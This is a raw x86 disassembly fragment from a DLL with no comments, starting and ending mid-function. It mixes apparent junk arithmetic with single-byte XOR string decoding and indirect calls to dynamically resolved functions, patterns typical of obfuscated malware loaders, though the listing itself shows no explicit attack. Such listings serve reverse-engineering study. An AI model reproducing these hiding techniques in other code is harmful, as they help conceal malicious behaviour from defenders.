jne 0x10036d31
mov eax, dword [ebp - 0x774]
cmp eax, dword [ebp - 0x77c]
je 0x10036d44
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor ecx, ecx
mov dword [0x100ad148], eax
mov dword [0x100ad14c], ecx
movsx eax, byte [str.ZFreeSid]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x1c]
cdq
add eax, 0x4ebb725a
adc edx, 0xd81fd
mov dword [ebp - 0x788], ecx
mov dword [ebp - 0x784], esi
mov dword [ebp - 0x790], eax
mov dword [ebp - 0x78c], edx
mov edx, dword [ebp - 0x788]
cmp edx, dword [ebp - 0x790]
jne 0x10036f8f
mov eax, dword [ebp - 0x784]
cmp eax, dword [ebp - 0x78c]
jne 0x10036f8f
movzx eax, byte [ebp - 1]
cdq
add eax, dword [0x100ad0e8]
adc edx, dword [0x100ad0ec]
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x794], edx
cmp dword [ebp - 0x798], 1
jne 0x10036f8f
cmp dword [ebp - 0x794], 0
jne 0x10036f8f
mov dword [ebp - 0x194], 0x13
mov eax, dword [ebp - 0x4c]
cdq
mov ecx, dword [0x100ad128]
mov edx, dword [0x100ad12c]
mov dword [ebp - 0xa00], edx
xor ecx, eax
movsx eax, byte [str.ZFreeSid]
imul eax, eax, 0xb1
cdq
sub ecx, eax
mov word [ebp - 8], cx
movsx eax, word [ebp - 0x14]
add eax, dword [0x100ad0c8]
cdq
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
movzx eax, byte [ebp - 2]
add eax, 0x63
cdq
add eax, dword [0x100ad0e8]
adc edx, dword [0x100ad0ec]
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
movsx ecx, word [ebp - 0xc]
sub ecx, 0xa411f9e
mov dword [0x100ad0c8], ecx
movzx edx, byte [0x100ad0a6]
test edx, edx
jne 0x10036e64
mov dword [ebp - 0x2dc], 1
jmp 0x10036e6e
mov dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x28]
not eax
xor eax, dword [ebp - 0x2dc]
mov byte [0x100ad042], al
movsx eax, word [0x100ad11c]
cdq
add eax, 0x95d66ea0
mov byte [ebp - 3], al
imul ecx, dword [ebp - 0x18], 0x497cb994
mov dword [ebp - 0x2c], ecx
movsx edx, word [0x100ad0b0]
imul eax, edx, 0x3e0febc0
mov dword [0x100ad15c], eax
mov ecx, dword [ebp - 0x194]
add ecx, 1
mov dword [ebp - 0x194], ecx
cmp dword [ebp - 0x194], 0x246a
jl 0x10036e7e
jmp 0x10036ce5
xor eax, eax
mov byte [ebp - 0x121], al
mov byte [ebp - 0x11c], 0x49
xor ecx, ecx
mov byte [ebp - 0x11b], cl
mov edx, 0x64
mov word [ebp - 0x11a], dx
mov eax, 0x33
mov word [ebp - 0x118], ax
mov ecx, 0x69
mov word [ebp - 0x116], cx
xor edx, edx
mov word [ebp - 0x114], dx
mov dword [ebp - 0x84], 0
jmp 0x10036fee
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jae 0x10037048
mov ecx, dword [ebp - 0x84]
lea edx, [ebp + ecx*2 - 0x11a]
mov dword [ebp - 0x558], edx
mov eax, dword [ebp - 0x558]
movzx ecx, word [eax]
movsx edx, byte [ebp - 0x11c]
xor ecx, edx
mov word [ebp - 0x13a], cx
mov eax, dword [ebp - 0x84]
lea ecx, [ebp + eax*2 - 0x11a]
mov dword [ebp - 0x55c], ecx
mov edx, dword [ebp - 0x55c]
mov ax, word [ebp - 0x13a]
mov word [edx], ax
jmp 0x10036fdf
mov ecx, 3
shl ecx, 1
lea edx, [ebp + ecx - 0x11a]
mov dword [ebp - 0x560], edx
xor eax, eax
mov ecx, dword [ebp - 0x560]
mov word [ecx], ax
lea edx, [ebp - 0x11a]
mov dword [ebp - 0x564], edx
mov eax, dword [ebp - 0x564]
push eax
lea ecx, [ebp - 0x3d0c]
push ecx
push 0
push 0
call fcn.10001470
call eax
xor edx, edx
mov byte [ebp - 0x122], dl
mov byte [ebp - 0xca], 0x71
xor eax, eax
mov byte [ebp - 0xc9], al
mov ecx, 0x53
mov word [ebp - 0xc8], cx
xor edx, edx
mov word [ebp - 0xc6], dx
mov dword [ebp - 0x88], 0
jmp 0x100370d3
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jae 0x1003712d
mov ecx, dword [ebp - 0x88]
lea edx, [ebp + ecx*2 - 0xc8]
mov dword [ebp - 0x568], edx
mov eax, dword [ebp - 0x568]
movzx ecx, word [eax]
movsx edx, byte [ebp - 0xca]
xor ecx, edx
mov word [ebp - 0x13c], cx
mov eax, dword [ebp - 0x88]
lea ecx, [ebp + eax*2 - 0xc8]
mov dword [ebp - 0x56c], ecx
mov edx, dword [ebp - 0x56c]
mov ax, word [ebp - 0x13c]
mov word [edx], ax
jmp 0x100370c4
mov ecx, 1
shl ecx, 1
lea edx, [ebp + ecx - 0xc8]
mov dword [ebp - 0x570], edx
xor eax, eax
mov ecx, dword [ebp - 0x570]
mov word [ecx], ax
lea edx, [ebp - 0xc8]
mov dword [ebp - 0x574], edx
mov eax, dword [ebp - 0x574]
push eax
lea ecx, [ebp - 0x3d0c]
push ecx
push 0
push 0
call fcn.10001320
call eax
lea edx, [ebp - 0x10d4]
push edx
lea eax, [ebp - 0x3d0c]
push eax
push 0
push 0
call fcn.10001320
call eax
push 0x10090800
lea ecx, [ebp - 0x3d0c]
push ecx
push 0
push 0
call fcn.10001320
call eax
xor edx, edx
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x38], edx
movsx eax, word [0x100ad0e4]
cdq
push 0x179c1
push 0xbc9169c1
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad100], eax
mov eax, dword [0x100ad160]
or eax, dword [0x100ad164]
je 0x100371e3
mov cl, byte [str.E2_wcsrchr]
mov byte [ebp - 0x58], cl
jmp 0x100371ec
mov dl, byte [0x100ad073]
mov byte [ebp - 0x58], dl
movsx ax, byte [ebp - 0x58]
mov word [0x100ad11c], ax
mov ecx, dword [ebp - 0x54]
add ecx, 0x89ce
mov word [ebp - 0x14], cx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4b4], edx
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
ja 0x100373c8
jb 0x10037232
cmp dword [ebp - 0x4b4], 4
ja 0x100373c8
mov ecx, dword [ebp - 0x4b4]
mov dword [ebp - 0xa64], ecx
mov edx, dword [ebp - 0xa64]
jmp dword [edx*4 + 0x1003b8b8]
lea ecx, [ebp - 0x2d08]
mov dword [ebp - 0x940], ecx
xor edx, edx
mov byte [ebp - 0x63], dl
lea eax, [ebp - 0xc84]
push eax
lea ecx, [ebp - 0x63]
call fcn.10001c20
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], 0
jmp 0x10037409
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
cmp dword [ebp - 0x8c], 0x1d
jae 0x1003746b
mov edx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x578], ecx
mov edx, dword [ebp - 0x578]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x90]
movsx edx, byte [ecx]
xor eax, edx
mov word [ebp - 0x13e], ax
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x90]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x57c], edx
mov eax, dword [ebp - 0x57c]
mov cx, word [ebp - 0x13e]
mov word [eax], cx
jmp 0x100373fa
mov edx, 0x1d
shl edx, 1
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 2]
mov dword [ebp - 0x580], ecx
xor edx, edx
mov eax, dword [ebp - 0x580]
mov word [eax], dx
mov ecx, dword [ebp - 0x90]
add ecx, 2
mov dword [ebp - 0x584], ecx
mov edx, dword [ebp - 0x584]
mov dword [ebp - 0x93c], edx
xor eax, eax
mov byte [ebp - 0x64], al
lea ecx, [ebp - 0xbb8]
push ecx
lea ecx, [ebp - 0x64]
call fcn.10001ea0
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], 0
jmp 0x100374dd
mov edx, dword [ebp - 0x94]
add edx, 1
mov dword [ebp - 0x94], edx
cmp dword [ebp - 0x94], 0x14
jae 0x1003753f
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x98]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x588], edx
mov eax, dword [ebp - 0x588]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x98]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x140], cx
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x98]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x58c], eax
mov ecx, dword [ebp - 0x58c]
mov dx, word [ebp - 0x140]
mov word [ecx], dx
jmp 0x100374ce
mov eax, 0x14
shl eax, 1
mov ecx, dword [ebp - 0x98]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x590], edx
xor eax, eax
mov ecx, dword [ebp - 0x590]
mov word [ecx], ax
mov edx, dword [ebp - 0x98]
add edx, 2
mov dword [ebp - 0x594], edx
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x938], eax
lea ecx, [ebp - 0x3d0c]
mov dword [ebp - 0x934], ecx
mov dword [ebp - 0x930], 3
mov dword [ebp - 0x92c], 0
lea edx, [ebp - 0x940]
push edx
call fcn.10031620
jmp 0x1003b848
jmp 0x10039f2e
imul eax, dword [ebp - 0x20], 0x4e68
test eax, eax
jne 0x100375cb
mov ecx, 1
mov word [ebp - 0xbe], cx
jmp 0x100375d4
xor edx, edx
mov word [ebp - 0xbe], dx
mov ax, word [ebp - 0xbe]
mov word [0x100ad0ac], ax
movsx eax, byte [0x100ad043]
cdq
add eax, 0xd3003c96
mov byte [ebp - 3], al
movzx ecx, byte [ebp - 3]
mov edx, dword [ebp - 0x28]
xor edx, ecx
mov eax, dword [ebp - 0x28]
and eax, edx
mov dword [ebp - 0x28], eax
movsx ecx, word [0x100ad0c4]
sub ecx, 0x24
mov dword [0x100ad158], ecx
movsx edx, word [0x100ad11c]
imul eax, edx, 0x899b153
mov word [ebp - 8], ax
mov byte [ebp - 3], 2
mov ecx, 0x34520
mov dword [0x100ad0f8], 0xac3e1428
mov dword [0x100ad0fc], ecx
mov edx, dword [0x100ad138]
add edx, 0xae3e2835
mov eax, dword [0x100ad13c]
adc eax, 0
mov dword [0x100ad150], edx
mov dword [0x100ad154], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x233a
mov dword [ebp - 0x20], ecx
movsx edx, byte [0x100ad09a]
sub edx, 0x12627ff7
mov dword [ebp - 0x2c], edx
movsx eax, byte [0x100ad043]
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [ebp - 0xc]
cdq
add eax, dword [0x100ad0f8]
adc edx, dword [0x100ad0fc]
mov dword [ebp - 0x7a8], ecx
mov dword [ebp - 0x7a4], esi
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7ac], edx
mov edx, dword [ebp - 0x7a8]
cmp edx, dword [ebp - 0x7b0]
jne 0x10037915
mov eax, dword [ebp - 0x7a4]
cmp eax, dword [ebp - 0x7ac]
jne 0x10037915
movzx eax, word [0x100ad0b8]
cdq
sub eax, 0x8286d877
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x2c]
shl ecx, 3
mov word [ebp - 0x10], cx
mov eax, 0xf7b7
sub eax, dword [ebp - 0x18]
cdq
mov esi, eax
mov edi, edx
movsx eax, word [ebp - 0x14]
cdq
mov ecx, dword [0x100ad0d8]
mov ebx, dword [0x100ad0dc]
add ecx, eax
adc ebx, edx
sub esi, ecx
sbb edi, ebx
push 0xffffc37c
push 0x13b866ca
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.1007a8a0
sub esi, eax
sbb edi, edx
mov dword [ebp - 0x7b8], esi
mov dword [ebp - 0x7b4], edi
mov ecx, dword [ebp - 0x7b8]
or ecx, dword [ebp - 0x7b4]
jne 0x10037753
mov edx, 1
mov word [ebp - 0xe6], dx
jmp 0x1003775c
xor eax, eax
mov word [ebp - 0xe6], ax
mov cx, word [ebp - 0xe6]
mov word [ebp - 0x10], cx
movzx eax, byte [ebp - 1]
add eax, 0x3ac3
cdq
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
and ecx, eax
and esi, edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], esi
mov edx, 1
imul eax, edx, 0x3860
movzx ecx, byte [eax + 0x100df658]
add ecx, dword [0x100ad0b4]
mov dword [0x100ad0b4], ecx
mov edx, dword [ebp - 0x28]
xor eax, eax
add edx, dword [ebp - 0x44]
adc eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x28]
xor esi, esi
push eax
push edx
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x28], eax
movsx eax, word [0x100ad130]
cdq
mov ecx, dword [0x100ad160]
sub ecx, eax
mov eax, dword [0x100ad164]
sbb eax, edx
push eax
push ecx
mov ecx, dword [0x100ad164]
push ecx
mov edx, dword [0x100ad160]
push edx
call fcn.1007a8a0
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
cmp dword [ebp - 0x18], 0
je 0x10037804
movzx eax, byte [ebp - 1]
mov dword [ebp - 0x2e4], eax
jmp 0x10037811
movsx ecx, byte [str.E2_wcsrchr]
mov dword [ebp - 0x2e4], ecx
mov edx, dword [ebp - 0x2e4]
mov dword [ebp - 0x1c], edx
imul eax, dword [0x100ad0b4], 0x57f7b29c
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xc135
mov dword [ebp - 0x24], ecx
movsx edx, word [0x100ad0b0]
imul eax, dword [0x100ad0e0], 0x22720b1e
sub edx, eax
mov dword [0x100ad0e0], edx
mov cx, word [0x100ad0e8]
mov word [0x100ad120], cx
movzx edx, word [0x100ad0f0]
mov eax, dword [ebp - 0x1c]
add eax, 0x49
cmp edx, eax
jne 0x10037915
mov ecx, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
mov edx, dword [0x100ad100]
mov eax, dword [0x100ad108]
mov ecx, dword [0x100ad10c]
mov dword [ebp - 0xa10], ecx
xor edx, eax
mov eax, dword [0x100ad100]
sub eax, edx
mov dword [0x100ad100], eax
mov ecx, dword [ebp - 0x28]
imul ecx, dword [0x100ad158]
mov edx, dword [ebp - 0x28]
sub edx, ecx
mov dword [ebp - 0x28], edx
jmp 0x10037627
mov dword [0x100ad140], 0x8a272520
mov dword [ebp - 0x198], 0
jmp 0x1003793a
mov edx, dword [ebp - 0x198]
add edx, 2
mov dword [ebp - 0x198], edx
cmp dword [ebp - 0x198], 0x77
jge 0x10037d08
movsx eax, byte [str.E2_wcsrchr]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x7bc], edx
mov dword [ebp - 0x7c8], ecx
mov dword [ebp - 0x7c4], esi
mov edx, dword [ebp - 0x7bc]
cmp edx, dword [ebp - 0x7c4]
ja 0x10037997
jb 0x1003798b
mov eax, dword [ebp - 0x7c0]
cmp eax, dword [ebp - 0x7c8]
jae 0x10037997
mov dword [ebp - 0x2e8], 1
jmp 0x100379a1
mov dword [ebp - 0x2e8], 0
movsx ecx, byte [str.E2_wcsrchr]
cmp ecx, 0x31
jge 0x100379b9
mov dword [ebp - 0x2ec], 1
jmp 0x100379c3
mov dword [ebp - 0x2ec], 0
mov edx, dword [ebp - 0x2e8]
cmp edx, dword [ebp - 0x2ec]
jle 0x10037ca7
mov dword [ebp - 0x19c], 0x8f4
movsx eax, byte [0x100ad09a]
movzx ecx, byte [ebp - 4]
add eax, ecx
mov byte [0x100ad09a], al
cmp dword [ebp - 0x24], 0
jne 0x10037a03
mov dword [ebp - 0x2f0], 1
jmp 0x10037a0d
mov dword [ebp - 0x2f0], 0
mov edx, dword [ebp - 0x2f0]
add edx, 0x710b1fbc
jne 0x10037a2f
xor eax, eax
mov dword [ebp - 0x4c4], 1
mov dword [ebp - 0x4c0], eax
jmp 0x10037a3a
xorps xmm0, xmm0
movlpd qword [ebp - 0x4c4], xmm0
mov eax, dword [ebp - 0x1c]
cdq
add eax, dword [ebp - 0x54]
adc edx, dword [ebp - 0x50]
push edx
push eax
mov ecx, dword [ebp - 0x4c0]
push ecx
mov edx, dword [ebp - 0x4c4]
push edx
call fcn.1007a8a0
mov word [ebp - 8], ax
mov al, byte [0x100ad0f0]
mov byte [0x100ad00e], al
movsx ecx, word [ebp - 0x14]
movzx edx, word [ebp - 0x10]
xor ecx, edx
mov word [0x100ad0b0], cx
mov eax, dword [0x100ad0b4]
cdq
add eax, 0xfe57ee36
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x19c], 0x7ac
jle 0x10037ca5
movsx eax, byte [0x100ad00d]
movzx ecx, byte [ebp - 2]
cmp eax, ecx
jg 0x10037ad6
movzx edx, word [ebp - 8]
mov eax, dword [0x100ad15c]
imul eax, edx
mov dword [0x100ad15c], eax
imul ecx, dword [ebp - 0x2c], 0x34
mov word [0x100ad0d0], cx
movsx edx, word [ebp - 0xc]
xor edx, 0xaf
mov byte [str.ZFreeSid], dl
jmp 0x10037c91
mov eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x40]
jne 0x10037aea
movzx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x10037b96
movsx eax, word [0x100ad0cc]
cdq
and eax, 0x28df9ae2
mov dword [0x100ad0a8], eax
movzx edx, byte [ebp - 2]
movsx eax, word [ebp - 0x14]
add edx, eax
movzx ecx, byte [ebp - 2]
sub ecx, edx
mov byte [ebp - 2], cl
movzx edx, word [ebp - 0x10]
movsx eax, byte [0x100ad00d]
imul edx, eax
movzx ecx, word [ebp - 0x10]
add ecx, edx
mov word [ebp - 0x10], cx
movsx edx, word [0x100ad0cc]
imul eax, edx, 9
cdq
mov ecx, dword [ebp - 0x44]
sub ecx, eax
mov eax, dword [ebp - 0x40]
sbb eax, edx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x7d0], ecx
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x7d0]
or eax, dword [ebp - 0x7cc]
jne 0x10037b6e
mov dword [ebp - 0x2f4], 1
jmp 0x10037b78
mov dword [ebp - 0x2f4], 0
movzx ecx, word [ebp - 8]
movzx edx, word [ebp - 8]
add edx, dword [ebp - 0x2f4]
imul ecx, edx
not ecx
mov dword [0x100ad0c8], ecx
jmp 0x10037c91
mov eax, dword [ebp - 0x24]
not eax
test eax, eax
je 0x10037c91
movsx ecx, word [ebp - 0xc]
test ecx, ecx
je 0x10037c91
movsx edx, byte [0x100ad042]
movsx eax, word [0x100ad0e4]
mov ecx, dword [ebp - 0x28]
add ecx, eax
add ecx, edx
xor esi, esi
movzx eax, word [0x100ad0ac]
not eax
cdq
mov edi, dword [0x100ad12c]
sub eax, dword [0x100ad128]
sbb edx, edi
mov edi, dword [ebp - 0x2c]
not edi
xor edi, dword [ebp - 0x28]
xor ebx, ebx
sub eax, edi
sbb edx, ebx
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x7d8], ecx
mov dword [ebp - 0x7d4], esi
mov edx, dword [ebp - 0x7d8]
or edx, dword [ebp - 0x7d4]
jne 0x10037c1e
xor eax, eax
mov dword [ebp - 0x4cc], 1
mov dword [ebp - 0x4c8], eax
jmp 0x10037c29
xorps xmm0, xmm0
movlpd qword [ebp - 0x4cc], xmm0
mov ecx, dword [ebp - 0x4cc]
mov edx, dword [ebp - 0x4c8]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
mov eax, 0x6dcc7
mov dword [ebp - 0x3c], 0xb09dbfe
mov dword [ebp - 0x38], eax
movsx ecx, byte [0x100ad00d]
add ecx, dword [ebp - 0x2c]
mov byte [0x100ad00d], cl
mov dword [ebp - 0x28], 4
movsx edx, byte [0x100ad00e]
test edx, edx
jne 0x10037c78
mov dword [ebp - 0x2f8], 1
jmp 0x10037c82
mov dword [ebp - 0x2f8], 0
movsx eax, word [ebp - 0x14]
add eax, dword [ebp - 0x2f8]
mov byte [str.E2_wcsrchr], al
mov ecx, dword [ebp - 0x19c]
sub ecx, 1
mov dword [ebp - 0x19c], ecx
jmp 0x10037a86
jmp 0x10037cf3
mov edx, dword [ebp - 0x44]
sub edx, 0x66
mov dword [0x100ad140], edx
mov eax, dword [ebp - 0x4c]
add eax, 0x3e97a95a
xor ecx, ecx
mov dword [0x100ad150], eax
mov dword [0x100ad154], ecx
mov edx, dword [0x100ad108]
mov eax, dword [0x100ad10c]
mov dword [ebp - 0xa14], eax
sub edx, 0x60
mov word [ebp - 0x14], dx
movsx ecx, word [0x100ad0b0]
imul edx, ecx, 0xe48a26f9
mov byte [str.E2_wcsrchr], dl
mov ax, word [0x100ad0bc]
add ax, 1
mov word [0x100ad0bc], ax
jmp 0x1003792b
mov ecx, dword [ebp - 0x18]
add ecx, 1
cmp dword [0x100ad140], ecx
jne 0x10038093
mov edx, dword [ebp - 0x44]
mov dword [0x100ad118], edx
mov al, byte [0x100adbec]
mov byte [ebp - 2], al
movzx ecx, byte [ebp - 3]
sub ecx, 0x1aa2f9f0
mov dword [0x100ad118], ecx
movzx edx, byte [ebp - 1]
push edx
call dword [sym.imp.USER32.dll_GetParent]
mov word [0x100ad0c4], ax
movsx eax, word [0x100ad0c4]
test eax, eax
jge 0x10037f73
mov ecx, dword [ebp - 0x44]
or ecx, dword [ebp - 0x40]
je 0x10037df3
mov edx, dword [0x100ad110]
or edx, dword [0x100ad114]
je 0x10037d88
movsx eax, word [ebp - 0x14]
cdq
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x4d0], edx
jmp 0x10037d9a
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x4d0], ecx
mov dx, word [ebp - 0x4d4]
mov word [ebp - 0x10], dx
movzx eax, byte [ebp - 3]
cdq
sub eax, 0x642e8c47
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
push ecx
push eax
push esi
push edx
call fcn.1007a8a0
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
movzx eax, byte [ebp - 1]
imul ecx, eax, 0xae202c08
mov byte [ebp - 4], cl
movzx edx, word [ebp - 8]
add edx, dword [ebp - 0x48]
mov dword [ebp - 0x48], edx
jmp 0x10037f6e
movzx eax, word [0x100ad0ac]
cmp eax, dword [ebp - 0x18]
jg 0x10037e0b
mov dword [ebp - 0x2fc], 1
jmp 0x10037e15
mov dword [ebp - 0x2fc], 0
cmp dword [ebp - 0x2fc], 0x165c
jge 0x10037f6e
movzx eax, byte [ebp - 4]
shl eax, 1
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0xa18], edx
mov dword [0x100ad0c8], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x7e0], eax
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x7e0]
or edx, dword [ebp - 0x7dc]
je 0x10037e76
movzx eax, word [ebp - 0x10]
mov dword [ebp - 0x300], eax
jmp 0x10037e7f
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x300], ecx
mov eax, dword [ebp - 0x300]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movsx edx, word [ebp - 0x14]
sar edx, 2
mov word [0x100ad0b0], dx
movzx eax, byte [ebp - 3]
not eax
imul eax, eax, 0x31ba7ae8
cdq
mov ecx, eax
mov eax, dword [ebp - 0x1c]
cdq
sub eax, dword [0x100ad150]
sub ecx, eax
mov word [0x100ad0e4], cx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push eax
push edx
call fcn.1007a8a0
mov dword [ebp - 0x7e8], eax
mov dword [ebp - 0x7e4], edx
mov edx, dword [ebp - 0x7e8]
or edx, dword [ebp - 0x7e4]
jne 0x10037efc
mov dword [ebp - 0x304], 1
jmp 0x10037f06
mov dword [ebp - 0x304], 0
movsx eax, byte [0x100ad037]
add eax, dword [ebp - 0x304]
jne 0x10037f21
mov dword [ebp - 0x30c], 1
jmp 0x10037f2b
mov dword [ebp - 0x30c], 0
mov ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x28]
test ecx, ecx
jne 0x10037f42
mov dword [ebp - 0x308], 1
jmp 0x10037f4c
mov dword [ebp - 0x308], 0
movzx edx, byte [str.px_04X_]
not edx
sub edx, 0x50
mov eax, dword [ebp - 0x308]
sub eax, edx
mov ecx, dword [ebp - 0x30c]
sub ecx, eax
mov byte [0x100ad00f], cl
jmp 0x10038002
mov edx, 0xd057d9fc
or edx, 0x5f4f1
je 0x10037f97
movsx eax, word [0x100ad0c0]
test eax, eax
je 0x10037f97
mov dword [ebp - 0x310], 1
jmp 0x10037fa1
mov dword [ebp - 0x310], 0
movsx ecx, word [ebp - 0x14]
not ecx
cmp dword [ebp - 0x310], ecx
jl 0x10038002
movsx eax, word [0x100ad130]
add eax, 0xa6
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
movsx edx, byte [0x100ad09a]
movsx eax, word [0x100ad130]
sub edx, eax
movsx ecx, byte [0x100ad09a]
add ecx, edx
mov byte [0x100ad09a], cl
movsx edx, byte [str.ZFreeSid]
and edx, 9
mov dword [ebp - 0x24], edx
movzx eax, byte [ebp - 1]
cdq
mov ecx, eax
sub ecx, dword [ebp - 0x54]
movzx eax, byte [ebp - 1]
cdq
or eax, ecx
mov byte [ebp - 1], al
movsx edx, byte [0x100ad073]
cmp edx, 1
jne 0x10038093
movzx eax, word [ebp - 8]
movsx ecx, word [ebp - 0xc]
sub eax, ecx
mov word [ebp - 8], ax
movsx eax, word [ebp - 0xc]
cdq
mov ecx, eax
movzx eax, byte [ebp - 4]
cdq
sub eax, dword [ebp - 0x54]
sub ecx, eax
movsx edx, byte [0x100ad073]
add edx, dword [0x100ad100]
movzx eax, byte [ebp - 3]
not eax
movsx esi, word [0x100ad11c]
add eax, esi
add edx, eax
xor ecx, edx
mov byte [str.E2_wcsrchr], cl
jmp 0x10038093
mov dword [0x100ad140], 0x8a272520
movsx edx, word [0x100ad0c0]
imul eax, edx, 0xa6
mov dword [ebp - 0x48], eax
imul ecx, dword [0x100ad100], 0x5a526c1
mov word [0x100ad11c], cx
movzx edx, byte [ebp - 3]
movsx eax, word [ebp - 0x14]
cmp edx, eax
je 0x100380d6
mov dword [ebp - 0x314], 1
jmp 0x100380e0
mov dword [ebp - 0x314], 0
cmp dword [0x100ad0c8], 0
je 0x100380ff
mov ecx, dword [ebp - 0x20]
not ecx
cmp ecx, dword [ebp - 0x28]
jae 0x100380ff
mov dword [ebp - 0x318], 1
jmp 0x10038109
mov dword [ebp - 0x318], 0
mov edx, dword [ebp - 0x314]
sub edx, dword [ebp - 0x318]
je 0x100381a9
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
movzx ecx, byte [ebp - 4]
imul edx, ecx, 0x54248645
mov word [0x100ad0ac], dx
movsx eax, byte [str.ZFreeSid]
mov ecx, dword [0x100ad0e0]
add ecx, eax
mov edx, dword [0x100ad0e0]
sub edx, ecx
mov dword [0x100ad0e0], edx
movzx eax, byte [0x100ad00f]
shl eax, 5
mov byte [str.px_04X_], al
movsx eax, word [ebp - 0xc]
cdq
sub eax, dword [0x100ad0f8]
sbb edx, dword [0x100ad0fc]
xor eax, 0xa4d2aeea
xor edx, 0
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7ec], edx
mov ecx, dword [ebp - 0x7f0]
or ecx, dword [ebp - 0x7ec]
jne 0x1003819a
mov byte [ebp - 0x59], 1
jmp 0x1003819e
mov byte [ebp - 0x59], 0
mov dl, byte [ebp - 0x59]
mov byte [0x100ad00e], dl
jmp 0x100381ec
movsx eax, byte [str.E2_wcsrchr]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
je 0x100381ec
movsx edx, word [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sar eax, 1
mov byte [ebp - 3], al
movsx ecx, word [0x100ad0cc]
sub ecx, 0xf801
movsx edx, word [ebp - 0x14]
sub edx, ecx
mov word [ebp - 0x14], dx
movzx eax, byte [0x100ad0a6]
sub eax, dword [ebp - 0x48]
mov byte [0x100ad0a6], al
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x683ee
mov edx, dword [ebp - 0x1a0]
sub edx, dword [ebp - 0x598]
imul eax, dword [ebp - 0x1a0], 0x2cb
add edx, eax
cmp ecx, edx
je 0x10039f2e
movzx ecx, byte [0x100ad0a6]
movzx edx, word [ebp - 8]
cmp ecx, edx
jg 0x10038233
mov dword [ebp - 0x31c], 1
jmp 0x1003823d
mov dword [ebp - 0x31c], 0
movzx eax, byte [0x100ad0a6]
cmp eax, 0x4a
jg 0x10038255
mov dword [ebp - 0x320], 1
jmp 0x1003825f
mov dword [ebp - 0x320], 0
